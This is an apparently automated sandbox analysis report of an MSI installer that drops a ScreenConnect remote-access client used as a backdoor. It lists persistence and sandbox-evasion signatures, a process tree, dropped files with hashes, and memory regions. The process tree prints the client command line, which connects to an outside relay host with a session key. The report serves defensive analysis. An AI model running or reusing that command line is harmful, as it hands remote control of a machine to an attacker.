Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 16:19

General

  • Target
    0f75e0933b61b6724f9c778b8d98879911e739c4ec45d8545b83f08622eba58e.bin.msi
  • Size 11.1MB
  • Sample260814-tspbpsxdkb
  • SHA256 0f75e0933b61b6724f9c778b8d98879911e739c4ec45d8545b83f08622eba58e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 7 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 17 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 30 IoCs
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\0f75e0933b61b6724f9c778b8d98879911e739c4ec45d8545b83f08622eba58e.bin.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:6016
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4976
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 5115D5AB7004C63934DF92A10E9DAAA1 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5736
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF97E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240712562 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4328
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:236
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 709D06A5131CE50AE4BC349E445C6136
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5912
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 39897499D261DF9BB1878ACBB439589E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2532
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3736
    • C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=homemainter.pro&p=8041&s=ab9811e2-efb3-4f34-9778-1cec0725369c&k=BgIAAACkAABSU0ExAAgAAAEAAQBhs2qAMEB3hT5jEkBH7%2flFopkK6%2fbmLm9pJYJwt1Jb%2fzY72v%2bzUPFDQMWx8jGnVv1GrTwZni36eU%2fsuAtTKYpcZesph4MTRiQE5h78ysifEqwSxgZrXu1%2fJvcBwABowOCLT4UldUuqoULFmPwruIuQzYP6uGlsSc4zl8MY6R4Wd7k63OUTPuP%2fXqTfeurZFLYgkPkw6FknrQLpit5kuZvLG3BGTBdHoDldTDyFrqDOi3mL%2fLsjsEUml68ZMXJ6Hw6Kujpl6hF2GbivPpTBH%2fvOGwU3WBnhy5314rcgVRp6liqHgTOUNOO0T0pfGANYcppZhUScOfnCosgo33LjomSw"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2304
      • C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsClient.exe" "RunRole" "9c1964f9-9703-404a-ac75-5d3d3c014d84" "User"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:3608
      • C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsBackstageShell.exe
        "C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsBackstageShell.exe"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3696
      • C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsClient.exe" "RunRole" "045e53ad-3475-4c54-b097-25c0919cf97f" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1408

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5946a5.rbs

          • Path C:\Config.Msi\e5946a5.rbs
          • Size 214KB
          • SHA256 ab1b655f97651e774e5f1f6b26c75659aa6705f0faa04db811e47777575fced8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\Client.Override.resources
          • Size 17KB
          • SHA256 fcb7b9f1a209a8b485b23bd4ed639b43154a5001a3d68ad52602cfb0338af44c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsBackstageShell.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsBackstageShell.exe
          • Size 59KB
          • SHA256 e25f32ba3fa32fd0ddd99eb65b26835e30829b5e4b58573690aa717e093a5d8f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsFileManager.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\ScreenConnect.WindowsFileManager.exe
          • Size 79KB
          • SHA256 ebd04a4540d6e76776bd58deea627345d0f8fba2c04cc65be5e979a8a67a62a1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\app.config
          • Size 1KB
          • SHA256 8b584e5da833f1055c8fdb9ed19f2f6b866ff962b034c8924735b380e2883066
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f97d71c3b3bf4348)\system.config
          • Size 939B
          • SHA256 a930765fd325493c058f44858eefbab03d7ea7e30fe1f4715fad5e1235aa2b95
          • MD5 SHA1 SHA512 TLSH

          MSIF97E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF97E.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF97E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF97E.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF97E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF97E.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4C14.tmp

          • Path C:\Windows\Installer\MSI4C14.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5946a4.msi

          • Path C:\Windows\Installer\e5946a4.msi
          • Size 11.1MB
          • SHA256 0f75e0933b61b6724f9c778b8d98879911e739c4ec45d8545b83f08622eba58e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 01f565d43676758b339690ab93dd6238455a15a9812a5c08138603ab6c01e9ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {05888436-87f9-4711-a579-58531639523e}_OnDiskSnapshotProp

          • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{05888436-87f9-4711-a579-58531639523e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 68a0db70ec929eeef41287a1b9aa225214169d425032e162f9402cf3ebe95dc3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2304-101-0x0000000004720000-0x00000000047B2000-memory.dmp

          memory/2304-128-0x00000000074D0000-0x0000000007536000-memory.dmp

          memory/2304-103-0x0000000004680000-0x00000000046C1000-memory.dmp

          memory/2304-100-0x0000000004470000-0x00000000044A6000-memory.dmp

          memory/2304-96-0x0000000004420000-0x0000000004470000-memory.dmp

          memory/2304-74-0x0000000004070000-0x0000000004088000-memory.dmp

          memory/2304-105-0x0000000004910000-0x00000000049E2000-memory.dmp

          memory/3608-114-0x0000000000A70000-0x0000000000B06000-memory.dmp

          memory/3608-116-0x000000001BAD0000-0x000000001BB5C000-memory.dmp

          memory/3608-117-0x000000001BD10000-0x000000001BEBA000-memory.dmp

          memory/3608-115-0x0000000002BA0000-0x0000000002BD6000-memory.dmp

          memory/3608-121-0x000000001BEC0000-0x000000001C048000-memory.dmp

          memory/3608-123-0x00000000013D0000-0x00000000013E8000-memory.dmp

          memory/3608-124-0x000000001C050000-0x000000001C122000-memory.dmp

          memory/3608-122-0x0000000001390000-0x00000000013A8000-memory.dmp

          memory/3696-125-0x00000000003C0000-0x00000000003D2000-memory.dmp

          memory/4328-31-0x00000000066B0000-0x0000000006C6A000-memory.dmp

          memory/4328-26-0x0000000003CE0000-0x0000000003D6C000-memory.dmp

          memory/4328-30-0x0000000005F40000-0x00000000060EA000-memory.dmp

          memory/4328-22-0x0000000003C10000-0x0000000003C1A000-memory.dmp

          memory/4328-18-0x0000000003C20000-0x0000000003C4E000-memory.dmp